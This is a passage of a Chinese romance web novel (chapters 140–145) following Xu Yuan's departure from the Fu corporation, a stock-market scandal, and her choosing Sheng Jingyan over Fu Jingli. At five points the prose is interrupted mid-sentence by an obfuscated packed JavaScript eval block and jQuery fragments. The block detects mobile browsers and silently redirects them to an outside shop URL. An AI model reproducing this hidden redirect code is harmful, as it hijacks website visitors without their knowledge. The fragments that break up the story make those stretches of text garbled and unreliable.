她是很念旧的人,她在傅氏待了三年,组建了自己的团队,认识了自己的好友,跟容浔和沈略是最好的合作伙伴。 她是因为傅京礼辞职,但是对沈略和容浔会有些许内疚。 甚至对傅京礼……还是有些不甘。 她此刻甚至有些不清楚到底是不甘些什么。 或许是性子使然,可能都已经不算是爱,只是单纯的不甘。 盛景炎用自己都没察觉到的温柔目光注视着许愿,看到她目光落在车窗外那栋高楼,热烈的阳光照在玻璃上闪烁着斑驳的光也刺戳着她的眼瞳。 她好像在伤心。 “你喜欢那样吗。” 盛景炎笑声温柔,唇贴过她的耳边,带着几许不易察觉的笑意。 “我也可以变成那样。” 他从不觉得自己会为了那愚蠢可笑的一点喜欢而放低姿态或者说……放弃自我。 可当他看到面前的恋人为其他男人纠结难过时他似乎感觉到心口那隐隐的疼痛感,不是很痛但是存在感很明显,不停的刺到他心口深处,密密麻麻的疼痛感从心口处逐渐蔓延至心肺直至全身四肢百骸。 他好像在这一刻,能为她做很多事了。 这是只有愚蠢的人才能做的事。 此刻,他似乎自愿选择做一个愚蠢的人了。 他对许愿…… 好吧,他承认,他是欣赏她甚至是喜欢她的,即便达不到爱的程度却绝对是放到心上。 他原因为了她放低姿态。 如果她仍然喜欢男人,或者说放不下,他可以去当一个人的影子去模仿,他愿意为了那点喜欢做这种可笑的牺牲。 “许愿。” 盛景炎指尖摩挲着她的耳垂,语气更为温柔低缓:“我把心给你,你肯不肯要。” 这是他迄今为止说过的最火热却也最赤诚的情话。 许愿想,这太过了。 她还在上一段感情中挣扎,即便习惯了盛景炎的陪伴也接受不来如此深沉的爱意,她的沉默就是回答。 车窗并未关严,已经临近高考,带着几许热意的风吹过,吹乱了她的发,飘散的黑发沾上了许愿淡粉的唇。 盛景炎垂下头,把灼热的呼吸喷洒在许愿脸上:“要亲吻吗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618094|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他不再过问,轻笑着讨吻。 他沙哑地低笑了一声,然后便用指尖拨开黏在她唇上的黑发,直到此刻他想亲吻都还在征求他的意见,其实他本可以不问。 但她见过了傅京礼,他知道他们彼此之间的关系必定又有了隔阂,他还是守了那份礼数。 “为什么要问呢。”她看着面前的男人,手不受控制的抚摸着他的侧脸。 “我们是恋人不是吗,难道我想吻你的时候也要问你吗。”她问他,语气是难得的认真。 仿佛有微风吹过许愿漆黑的眼眸,氤氲成湿漉漉的水雾,没有泪意却带着莹润的美感。 她专注地看着盛景炎柔情款款,笑意风流的脸,心里慢慢涌上一股难以言喻的哀伤。 “你用这种眼神看我,是想吻我吗。”盛景炎抚了抚许愿微红的眼角,话语里带着奢望和憧憬他开口:“所以你想吻我吗。” 他又在 钓着她勾着她引诱她。 “当然,我想。” 话落许愿弯唇一笑,用柔软的唇轻轻吻住了盛景炎的唇瓣。 风吹过时都像是放轻了声音,这个吻也是温柔轻缓的。 然而一阵轰然巨响却在盛景炎的脑海中滚动,然后刮起疾风,卷起骤雨。 他其实能感受到这次的亲吻不同往日。 离开傅氏后的许愿对他更多了几分认真和在意。 耳朵里一阵嗡鸣来回震荡,心脏里一阵热流上下涌动。结束了这个仓促的吻,许愿抿了抿濡湿微红的唇,笑着低语:“你看,我也会想吻你的。” 她的吻不是说说而已。 她一直都是这样敢爱敢恨肆意洒脱的。 呆愣中的盛景炎这才回过神来,低笑一声然后抱住许愿,再度吻了过去。 他们在车内亲吻,车窗的缝隙缓缓吹进热烫的微风,像是抚过她内心最后的寒冬,融化最后的碎冰。 驻足在远处的男人手中捧着一份策划书,沉默的看着这一幕。 漆黑幽暗的瞳眸裹挟着狂躁却又危险的风暴。 手逐渐用力,资料文件都已经被握出了褶皱痕迹。 第141章 她是资本 傅京礼远远看着这一幕,已经碎裂的心在此刻像是被人撒上粗粝的盐巴,心肺的伤口疼痛难耐却又无法愈合,不停传来的疼痛令他无法静下心,只能木然的看着眼前这一幕。 他来做什么呢? 送策划案? 这是他该做的吗?有容浔,有沈略,甚至有那么下属,谁都可以来,唯独不该他来。 偏偏他还是来了。 不过是想……再见她一面罢了。 见她一面又能做什么?只是让他自己承受更沉重的伤害罢了。 傅京礼低下头看向手中的策划资料,只觉厌恶的碍眼,他没有再向前,或者自尊使然让他重新挺直腰背,转过身后他仍然是傅氏的傅京礼,傅氏的掌舵人。 他不会被情爱迷了眼,更不会将心交付给许愿。 他有更多在意的想要守护的人。 他的手抚摸着胸口处那颗跳动的心脏,那股难以言喻的痛感令他脸色发白,脑海中最先闪过的仍旧是那张明艳漂亮的面容。 结束了。 属于他们之间的感情羁绊已经彻底结束了。 他一步一步迈向傅氏的高楼。 她在车内有着新的恋人肆意亲吻暧昧。 明明距离得那样近,却像是隔着千万里的距离,明明触手可及,却又隔着无法触摸的边界线。 她冲破了束缚冲破了牢笼冲破了礼教逃离了他所处的天地去寻找她的自由、真理、真爱。 而他却背道而驰,一步步的迈入另一个方向。 像是在他们之间划出一道明暗交界线。 此后便已然彻底分开,羁绊彻底斩断。 自此后,傅京礼是傅京礼,许愿是许愿,他们终将有属于自己的人生。 …… 【娱乐风暴!惊!许秘书自傅氏离职将何去何从?】 【傅氏铁三角一分为二!傅氏总裁犹如自断一臂!】 【各大金融公司纷纷向许秘书抛来橄榄枝,请求加入自己的公司迎接国际金融峰会!】 【解密许秘书为何离开傅氏!】 许愿前脚离开傅氏,下一秒此类八卦新闻已经彻底冲上热搜。 最近国际金融峰会即将在a市举办,作为此次金融峰会最可能成为大赢家的傅氏成为多少人眼热的目标,小公司不敢做什么,但敌对公司可不管这些,特别是莱蒂斯更是恨傅京礼恨到牙根发痒,才发现许愿离开傅氏下一秒就铺天盖地的花大价钱营销。 明明是商圈的事一下子窜到热榜第一。 而最近马上到来的金融峰会也让人不得不关注重视。 微博热搜最热榜就是关于许愿的帖文,其中放了几张许愿在各大舞会及谈判桌上的图片。 照片中的女人或是睥睨众人的冷艳、或是优雅大方姿态从容、又或者是凛冽冷酷明艳动人。 穿着长裙的她身姿曼妙婀娜,穿着正装的她洒脱干练,每一面让人看到心脏都怦怦直跳。 本想刷过这条信息就略过的网友被这样惊人的美貌击中,久久无法言语不忍心划过,片刻后关注这则消息的人越来越多,铺天盖地的全都是有关于许愿的讨论此条。 “有没有人来告诉我这样的美貌是真实存在的吗!” “不是?我只听说过傅氏有铁三角,也没人跟我说铁三角李唯一的女性角色那位许秘书长这样啊!她都这么强了不应该长了一张学习很好的书呆子面孔吗!凭什么长了一张披着麻袋都能演电影的美女脸啊!” “我真服了,这脸放古代横竖都能保佑国家安康几百年,这脸这智商,放宫斗剧里妥妥的嘎嘎乱杀踹翻皇帝当女帝的节奏!简直就是世界上另一个武女皇的节奏!” “谁管她去哪里啊!她就真不能出道造福大众吗!” 那张令人惊艳的面容让路人网友都万分吃惊缓不过神。 甚至其中有一张图是女星林丽颖与许愿同框的照片,对比惨烈,林丽颖明明珠光宝气打扮得体,却被站在角落中的许愿遮掩了所有的风采。 她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618095|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张照片中白得像是在发光,一身红裙明艳妩媚,像是开的鲜艳的花朵吐露着诱人的雨露。 她没有面对镜头,只露出四分之三的侧脸,曾有人说这个角度总会将人拍得很丑,可她的侧脸却完美到让人惊叹的地步,高挺的鼻梁和莹润的黑眸,即使没有面对镜头都好像诉说着绵绵情意。 紧接着下面一张图就是她好像发现镜头对准自己,先是愣了下,继而落落大方的露出微笑。 这样笑起来,明艳不可方物。 谁还记得这张图里面的林丽颖?满眼都只有她。 评论区都炸锅了。 “我靠,我就说林丽颖参加各类活动最喜欢炫耀自己跟各类大佬的合照了,边边角角有的大佬全都被她放到自己微博李,结果这次度假村活动林丽颖怎么只放了自己的图模糊了身边人,搞半天是不敢放啊!” “这图放出来!当红小花都沦为背景板,太可笑了!” “希望林丽颖的粉丝不要视奸微博去对这位许秘书出手围攻,奉劝各位不要网暴许秘书。” “哈哈哈哈网暴许秘书,但凡有点脑子的都知道许秘书负责的案子 最少都是十亿的,傅氏的百亿单子都是许秘书谈下来的,够林丽颖拍一辈子戏了!许愿可是正儿八经的资本!她家腿毛敢踩敢骂吗!真要敢发疯林丽颖距离被封杀就不远了!” “踩许秘书?林丽颖一分钱不敢要免费倒贴才能拿到的度假村项目还是许秘书一手策划的,她敢踩吗!” “笑死,许秘书是资本,朋友是资本,恋人是资本,跟许秘书硬碰硬,是想碰死自己吗!” 林丽颖的粉丝真是敢怒不敢言,有些不懂的小粉丝不知道这事儿立刻去辱骂许愿,下一秒就被教做人被大粉教育开除粉籍,甚至怂怂的在下面刷屏道歉。 许秘书爆了。 得知到这一消息的a大金融系学生很久后才弱弱的冒出头开口。 “都在吹许学姐的美貌,许学姐的美貌放在她众多优点中是最不值一提的。” 第142章 她的回应 许愿的美貌的确是最不值一提,她的学识涵养才是让人倾慕膜拜的。 a大金融系学生甚至认为许愿身上是带着神性的,她好像天生就与他们之间隔着万山沟壑,她像是在怜悯众人,她的善是真的善不是伪善。 她建立的慈善基金会至今还在运营,甚至于根据她创立的品牌能够自给自足甚至帮助更多人,这两年在一些慈善晚宴上都能看到许愿建立的基金会捐献出一笔资金,乃至于各大官媒带上基金会时都会带上a大带上金融系,他们作为a大学子与有荣焉,甚至出去实习听到他们是a大的学生都会被那些企业高看一眼。 无他,因许愿创立的基金会让旁的人都会先入为主认为a大的学生道德层次方面的觉悟远高常人。 “知道凭借一己之力将自己写进a大金融系新课本教材的近年才有几人吗?除了那些本身出身名流或者已经身居高位的人群,许学姐就凭借洪门谈判狠踩莱蒂斯为我们国家的商圈长脸,甚至强硬的拿下投资,并抓到莱蒂斯把柄力压莱蒂斯将本金一再压低拿下合同,自那以后国外某些人再也不敢低看我们的商圈。” “国外谁不知道傅氏的xu” a大金融系的学生纷纷冒头,纷纷提出许愿在傅氏的成就。 已经能够让人彻底明白许愿此人在商圈的地位。 一句“许秘书能抵a市半个商圈”就已经是最大的赞美。 终于有人开口。 “那么,许秘书为什么要离开傅氏。” 身份地位权利钱财尊重一切的一切她全都拥有,为什么还要执意离开傅氏? 是啊,为什么要离开傅氏。 a大学生不懂,也没人能懂。 已经有傅氏敌对的资本开始散播谣言称傅氏与许愿之间彻底结仇所以才会不顾情分离开傅氏,傅氏敌对的远程公司从各方面分析许愿离开傅氏的原因,分析到傅氏岌岌可危的流动资金以及还未谈成的各类项目,几乎是要告诉商圈股圈,傅氏日薄西山,如天边落日即将缓缓落下。 傅氏股票疯狂下跌。 许愿的身份摆在这里,既然她都已经选择离开傅氏了,那是不是说明傅氏有问题? 一早最看好傅氏的股民也开始犹豫不决。 远程心一横,提到莱蒂斯此次合作,许愿提出拒绝合作险些被傅氏驳回,甚至停职的事。 最近莱蒂斯的事情闹得那么大,国内大大小小的公司都被骗了一笔钱,数额高达数十亿,网民能没有听说吗? 这下一直在迟疑的股民也慌了。 许愿离开傅氏肯定是因为傅氏又打算投资什么危险项目,现在不抛售以后怕是要吃更大的亏! 股民立刻开始抛售傅氏的股票,傅氏顾家一跌再跌。 …… 傅氏紧急召开股东大会,各大股东脸红脖子粗的吵作一团。 “就不该让许愿走!” “她都在我们傅氏待了三年了!为什么说走就走?简直狼心狗肺!” “她要什么好处什么条件随便提,我们说过不答应了吗!” “必须把许愿找回来,傅氏铁三角少了个许秘书像话吗!” 会议室内吵吵嚷嚷,有人怒斥许愿不顾伯乐恩情置傅氏于不义的地位,有人担忧提出的条件不能将人重新请回来,一旦触及他们的利益,他们终于不再将许愿仅仅看作是个“漂亮女人”,他们终于迫于舆论承认许愿的优秀。 她就是可以凭借一己之力影响股市。 哪怕尊贵如傅氏也是如此。 傅京礼沉默的坐在主位之上,他垂眸,看着傅氏股票一路跌着,面无表情的看着,有些不受控制的捏紧手中的钢笔,惯性的看向右手边的位置。 是容浔。 以往经常坐在这里的人是许愿。 他抿唇,握紧那支金色的钢笔,瞳眸愈发晦暗。 “照我看就该让许宁离开傅氏!一切都是许宁进入傅氏开始的!” “傅氏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618096|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许秘书一直都只有许愿,许宁是个什么身份也配跟许愿平起平坐?” 众人将矛头对准许宁。 一再缩小存在感的许宁一哆嗦,脸色发白。 众人纷纷指责,将一切的错处都推到她身上。 罪魁祸首的确是她,股东们其实没有说错。 傅京礼冷眼旁观,面色沉冷的看着这一幕,一直未做任何回应。 见傅京礼不回话,董事们讪讪的摸了摸鼻子,再次将矛头指向许愿,想找许愿讨个说法。 直到容浔连上会议室内的网络,将许愿最新的回应投屏。 【许愿】:一觉醒来看到大家对我的欣赏赞美我受之有愧,人行于世总要做些什么或许才不枉此行,我在这个位置只做了些微不足道的小事,可能对你们而言是大事,但对我只是做了一份能够盈利的策划案,这是一场成功的商业合作,我希望你们过好自己的人生,站在什么高度都不要忘记自己最初的本心才是最好的。 【许愿】:我与傅氏之间怎么会有矛盾呢,相伴三年的伙伴在傅氏,铁三角纵然分开每个个体仍是自己所在领域最稳固的铁三角,我选择离开仅仅因为我即将于盛世的盛总订婚,他是我的 爱人,所以我才会做出这种选择,我的离开并没有夹杂任何自认矛盾和商业竞争,我的离开是为了追求自我,傅总同意我的离开是他的大度与优待,我对傅氏心存感激。 【许愿】:对于远程公司提及列出的一系列合作项目,其中由我经手的项目有七个,建议远程的负责人仔细看清楚合同内容,以免闹出笑话。 【许愿】:最后,我的离开,与莱蒂斯合同无关,傅总一早就清楚莱蒂斯的来意,我们一早放出风声已经告知大众莱蒂斯的合同陷阱,这是傅总与我最初商议好模糊对付莱蒂斯的手段,我那不叫停职叫带薪休假,那算时间我的未婚夫盛二少重伤住院,是傅总给了我们更多相处的时间。 【许愿】:我们之间没有矛盾,我们的交往更是君子之交。 第143章 许愿,这是你喜欢的吗 【许愿】:希望诸位不要人云亦云,日后盛世也会继续与傅氏进行合作,感谢大家的理解支持。 许愿发出的博文说得清清楚楚。 她与傅京礼之间没有矛盾,她与傅氏有些羁绊,并非远程胡说的那般带着恨意。 她的回应立刻登上热搜。 当事人都这样说了,傅氏的股票果然再度涨上来,一直涨到最后稳定下来,甚至因为许愿开口提到的合作股价持续上升。 许愿的商战其实算是光明磊落的,她一直都是如此。 会议室陡然静下来。 容浔倚靠在一旁,温和却又清冷的眸中闪过的是淡漠的讽意。 “各位对许经理的回应还满意吗。” 容浔淡淡开口。 诸位董事哑口无言。 “这……这……如果不是她突然提出要辞职被人拍下来也不至于把这件事闹得这样大。” 董事还在执拗的反驳。 “她想要什么都可以提,我们傅氏也不是不给。” 诸位董事你一言我一句,纷纷开口指责许愿不懂事。 容浔眸光中闪过一丝寒芒。 “盛二少提出要将自己所持有的半数股份及资产都分给许经理,甚至盛世的总裁随时可以让位。” “你们觉得傅氏需要提出什么合适的更诱人的利益来留下许经理。” “这些股份诸位出吗?那些资产各位肯拿出来吗?又或者你们希望傅总让位给许经理?” 容浔面带微笑:“大家有什么意见尽管提,傅总就在这里听着,你们自然可以畅所欲言。” 畅所欲言? 怎么畅所欲言? 盛景炎那个混账东西都放出这种烟雾弹了,别说许愿,就是他们也愿意离开傅氏选择盛世啊! 众人哑口无言,只能尴尬笑笑。 “希望各位董事可以记清楚,许经理以后不再是傅氏的人,她以后属于盛世,是敌是友尚未可知,所以……不要贸然在外说出什么不得体的话以免被远程或者其他公司针对再闹出波折祸端。” 容浔就是在点那几个喜欢倚老卖老的老东西。 那几人脸色微变,却还是只能打着哈哈笑了两声,当作说的不是自己。 傅氏顾家趋于平缓,许愿的名字却已经彻底挂在微博热搜上。 许愿并未当一回事,她在家中整理有关于金融峰会的资料,盛景炎这几天借口有工作要忙一直没来,她确实有些不习惯。 直到三天后接到盛景炎的电话,她愣了下,甚至妆都没化披上一件外套就冲下楼。 待看到楼下男人的发型,衣着乃至身上的香水味整个人都愣在原地。 脸还是那张脸,但人好像变了。 他本来一直带笑的一双风流薄情的眼眸此刻敛下眼皮明显带着疏离的冷意,他一直不喜欢束缚自己,即便穿着西装基本也不会系领带,甚至西装外套都是敞着的,衬衫扣子开了两颗露出健硕的胸膛,但此刻一丝不苟的扣到最上,是经典款的灰色正装,领带完好的系着,鼻梁上是一副金丝边眼镜,更添几分淡漠之感。 他是盛景炎,却又好像不是盛景炎。 她就站在原地看着面前的男人,看着他将自己改造成另一个男人,戴上属于傅京礼的面具,扮演着傅京礼逐渐靠近她。 为什么呢? 为什么要这样做? “你喜欢那样吗。” “我也可以变成那样。” “我把心给你,你肯不肯要。” 几天前盛景炎眉眼温和的面对她说出那几句话时她恍恍惚惚的听不真切,甚至不明白他的意思。 直到此刻看到他,许愿骤然惊惶。 她终于明白盛景炎在问什么,在说什么。 他问,你这么难过,是喜欢傅京礼那样的吗。 他说,你这么喜欢傅京礼,那我变成他好吗。 他眼神缱绻无比认真虔诚的对她说,许愿,我把心给你,你肯不肯要。 他说的不是“你要不要”,而是你肯不肯要,他甚至把自己放到最卑微的位置。 疯了。 他是真的疯了。 盛景炎是个什么性格的人?她们两个好像就是完全相同的两个人,哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618097|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再爱一个人也不会真的彻底弯下腰折断自己的脊骨。 她那样爱着傅京礼,却也从未忘记过自己的事业,她那样为傅京礼付出却也从未去学另一个女人,她不过是做出一副贤良淑德豪门贵妇的姿态。 盛景炎是什么样的人,他骄傲,他肆意,他天生热爱自由,可这样的人要把心交给她,他不是在演,是真的要把自己变成她喜欢的模样。 她喜欢傅京礼,那他就变成傅京礼。 许愿站在原地,眼睛干涩,有风不停吹过,吹得眼睛发酸发麻,她甚至觉得是不是沙子迷了眼睛,不然为什么眼前的一切都看不真切。 “许愿,这是你喜欢的吗。” 他仍站在原地看着她。 他没有主动向前。 如果是盛景炎,他会向前走99步,如果许愿一步也不肯走他也会走完最后一步,然后将她揽进怀中紧紧抱住,让她感受到他温暖的体温 。 可如果是傅京礼…… 他会一直站在原地,只会站在原地,等她跑过去。 不该是这样的,她不喜欢这样。 “盛景炎。” 她声音很轻,有点哑。 “我不喜欢。” 盛景炎抬头看着她,此刻仍然没有任何动作,她想看到盛景炎眼底含笑的模样,想看他逗趣开怀的模样,而不是像现在这样,将他自己藏起来,成为另一个男人的影子。 “盛景炎,我不喜欢。” 她又重复了一次。 他看着许愿狭长的眼眸仍然带着几分凌厉之意,他说:“那你过来,亲口告诉我。” 这是属于他们之间的博弈。 许愿突然就懂了。 盛景炎是为了她成为傅京礼的影子,但他同时也在算计她,这种算计狡猾又温情,温情中又藏着满满的残忍。 聪明如他,一定也最清楚傅氏对许愿到底多重要,她选择离开傅氏,才是真的决定解开与傅京礼最后的羁绊。 她做了选择,那么他也给了她一次选择的机会也让她看清楚她的内心。 她要傅京礼还是要他。 第144章 盛景炎,欢迎回来 她要选那个一直等在原地由她付出的男人,还是要选他这个可以依附陪伴的同类。 多狡猾的盛景炎。 可她却骂不出一句混蛋来。 这些天盛景炎没来找她就是在学傅京礼,他学得这样像,发型换了,衣品换了,站立行走的姿势换了,他变得不像他,他也同样为他自己的狡猾付出了代价。 许愿站在原地远远看着他,他面色平静神色寡淡的模样实在陌生。 她清楚的知道,这是盛景炎的又在耍心机,她想让她主动选择走到他面前走到他身边。 她轻缓了片刻,然后坚定的,一步一步的正如他所想的那般走到他面前。 他很高,她此刻没有穿高跟鞋,需要抬头看他。 她却不想抬头,抓住面前男人的衣领,盛景炎被她拉拽的身体向下几乎与她平视,可眼神中仍然毫无波澜没有波动。 “盛景炎。”她说:“你是个混蛋。” 他的确是个混蛋,从他们真正相识开始,他无时无刻不在算计她。 他交付出他的心,他就要算计她的爱。 可偏偏她接受了,甚至完全不会厌恶,于他,哪怕是喜欢和爱在这里也是平等交换的。 这个时期,已经有了燥热感,风吹过脸颊都能感受到那股干涩的热意。 许愿捧住盛景炎的脸,在这样温热的夏风中,渐渐的贴上他凉薄的唇,很轻很轻的吻着,感受到面前男人的气息。 盛景炎顿了下然后没有一丝犹豫,仰起头,迫不及待地含住了许愿的唇。 他主动回应着她的吻,从温和到强势,从强势到占有,他这样吻着她,在这种时刻暴露出他自己的内心。 换气时,许愿喘息着靠在他怀中:“我不要他。” 在这种亲密暧昧的时刻,她说我不要他,他不要傅京礼,她选择盛景炎。 盛景炎呼吸微滞,哑声道:“那你要谁。” “明知故问吗混蛋。”她又说他是混蛋,然后贴在他的唇侧,轻轻的咬着:“我要盛景炎。” 她如了他的意选择了盛景炎。 他瞳眸愈发深了,再一次的摁住她的后脑勺,让她的唇压上自己的唇。 温热的风不停,这个吻也一直未停。 又吻了一会儿许愿才气喘吁吁地说道:“明天别再穿这种风格的西装了,穿你以前的衣服,不要学他。” “好。”盛景炎笑起来,眼睛都是弯的,他就是希望许愿能明白,她其实可以不那么需要傅京礼,现在见她如此说,又怎可能不答应? 吻还在继续,换气的间隙拉长了。 直到两人分开,许愿凝望着盛景炎被热火点燃的黑眸,一个字一个字地说道:“以后只做盛景炎。” 许愿滚烫的唇贴在盛景炎冰冷的耳廓上:“我选择的是你。” 盛景炎的喉结滚动了许多下才慢慢找回自己的声音,“我的……荣幸。” 温热的风抚过脸颊,隐约带来点滴落雨,细细密密的倾洒在他的脸上,那一点点的凉意一再提醒他,此刻的一切不是梦。 盛景炎抬起手臂,紧紧握住许愿的肩膀,漆黑眼眸里一点一点亮起微光。 “我这样,算是算计成功了吗。” 他开口提到自己的算计,光明正大的,毫不心虚。 他们之间的感情就是算计来算计去最终动了真心。 许愿眼底都是温和的笑意,然后用轻柔的吻代替了一切回答。 点点滴滴的落雨,点点滴滴的吻。 还有哪一个时刻,能比现在更惊心动魄? 盛景炎漆黑的眼眸里亮光灼灼,爱意翻涌。 他紧紧把许愿抱在怀里,胸膛里跳动着一颗毫无保留的赤诚的心,不断散发出热量。 她的回应就是答案,他算计成功了。 热气熏红了许愿的脸,也沾湿了她的眸。 回到公寓,外面飘着夏雨,房间内他们却亲密的索取彼此,只能感受到温暖。 被春情染红了眸的许愿,轻轻缓缓地喟叹:“盛景炎,欢迎回来。” 盛景炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618098|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低笑从背后抱住许愿,薄唇吻着她白皙柔嫩的脖颈,在上面留下属于自己的印记。 “去洗澡。”许愿拍了拍盛景炎箍住自己细腰的胳膊,外面可不算凉快,他穿着厚厚的西装肯定要出汗,后面又淋了雨,她倒是挺担心盛景炎会生病的。 盛景炎眸色一暗,捏着许愿的下颌深吻了片刻,然后才匆匆进了浴室。 许愿拿起一旁的洒水壶给房间内的玫瑰花浇水,这是盛景炎送给她的,此刻花开得正艳,散发着浓郁的香气。 她喜欢这样浓艳的红玫瑰。 公寓内并不是只有一间浴室,许愿也简单冲洗了下,等她出来时盛景炎还没出来,也不知道这人赖在浴室做什么。 她靠在沙发上,实现有意无意的扫向浴室,那浴室还是她特地挑选的半透明式的设计,此刻能隐约看到男人的性感健硕的身材。 她干咳一声,嗯,那身材确实养眼好摸。 她眼神有点飘忽的捧起沙发上的棉绒抱枕,这是盛景炎送的,是他们上一次逛校园街时盛景炎嚷嚷要抓娃娃时得到的。 娃娃不是盛景炎抓到的,他运气太差手气太差,几十把都没能抓到一个娃娃,还是店老板看他长得帅送了他一个,最后变成她的。 大概是不服气,还特地给娃娃定制了一枚红钻戒指,这娃娃就这么“水灵灵”的在她这里安家了。 思绪飘飞得有些远了,等回过神时,浴室的门已经打开了。 盛景炎腰间围着一条浴巾慢慢走出来,宽阔结实的胸膛,强劲有力的公狗腰,块垒分明的腹肌……以及上面还存在的明显伤痕。 许愿眸光闪了下:“伤口还没好全?” “对我来说已经算恢复好了。” 盛景炎走到她面前还没等他坐下,许愿就已经丢给他一套衣服:“先把衣服穿上,你这样我总觉得我们之间会发生点什么不可描述的事。” 这话已经算是调戏了。 许愿丢过来的衣服刚好是盛景炎的尺码,白衬衫牛仔裤,学生气的衣服,很难想象是许愿挑的。 第145章 像开屏求偶的雄孔雀 “这是想玩女大佬和小明星那一套?”盛景炎秒懂一般挑了下眉。 倒也不是,纯粹是不想看到他身上的疤痕,看到那些,心口处还是隐隐作痛。 “想玩什么时间都可以玩,但是现在,先配合我拍一组图。” 盛景炎倒是秒懂。 公开了,总要自己放出几张照片来,让那些人知道他们之间的关系,以及……然三个人清楚知道她选择了盛世。 他配合的换好衣服,甚至拿了许愿放在阳台的吉他拨弄擦拭。 许愿拿着手机对准男人,他偏偏这个时候朝她望过来。 他穿着一件白衬衫和一条淡蓝牛仔裤,衬衫顶上的几颗扣子没扣,露出精致的锁骨和一片雪白的胸膛。他的黑发带着一些浪漫的卷曲,浓密睫毛下覆着一双狭长幽深眼眸,唇角勾出一个似笑非笑没有温度的优雅表情,就能让许多男男女女为之失魂。 他的傲慢和贵气,叫人不敢轻易接近。 说起来,他就是这样矜贵的男人,这才是盛景炎本来的面目。 许愿挑了下眉走到他面前将他的扣子扣得整整齐齐。 “私下里一颗不扣都可以,但是放到网络上的图……你很想被其他人看?”许愿哼笑一声。 盛景炎低笑:“吃醋?” 许愿就盯着他看,盛景炎败下阵来:“好吧,我当然不希望除你之外的人看。” 他回答的语气倒是认真。 许愿也只是轻笑,两人贴得这样近,能轻易嗅到他身上的气味,那股浓郁的味道和她身上的味道完全相同,只是他身上的味道太浓了些。 “你是……用了我一整瓶沐浴液吗?” 许愿贴近他轻嗅着。 盛景炎眼神飘忽的轻咳一声 一瓶说的有点夸张了,但是半瓶或许是有的。 不过是闻到许愿的味道有点不受控制,他就是占有欲很强甚至带着他自己都难以言喻的偏执感,所以才会弄得自己身上都是本该独属于许愿的香气。 他清楚不能让许愿完完全全属于自己,那么这一刻他愿意让自己的身上都是许愿的味道,让他属于她。 “我还挺喜欢这种感觉的。”盛景炎开口回应。 许愿意味深长的看他一眼:“你知道你这样像什么吗。” 他配合:“像什么。” “像开屏求偶的雄孔雀。” “……”倒也没说错吧。 许愿拍了几张照片,盛景炎这人长得好,哪怕只是摆拍的动作都是好看的,只是盛景炎不满意。 照片里全是他自己,多没意思。 他抓住许愿的手腕将人带进怀里,下巴蹭着她头顶柔软的发:“来张自拍。” 许愿没阻止,感受到男人有力的手臂环抱住自己的腰身动作也丝毫未变。 才拍了几张,听到开门声和温栩栩的声音。 “阿愿,我看到微博热搜了?你真的离开傅氏了?我听到这消息我整个人都傻了!” 温栩栩有许愿公寓的钥匙,她阳台摆满了花,以前经常要出差或者说和傅京礼住在一起,这里并不多待,所以会把钥匙给温栩栩让她来这里帮忙浇花,所以这次温栩栩也没多想的开门进来。 见到眼前一幕,只觉自己整个人脚步都钉在地板上动弹不得。 她脸上的笑意都带着几分尴尬。 “我来得好像不是时候,你们继续,不必在意我。” 她非常识时务脚底抹油就要溜,盛景炎却开口叫住她。 “温小姐先等等。” 温栩栩不知道他想做什么,但看在许愿的面子上还是停下了。 “帮忙拍几张照?” 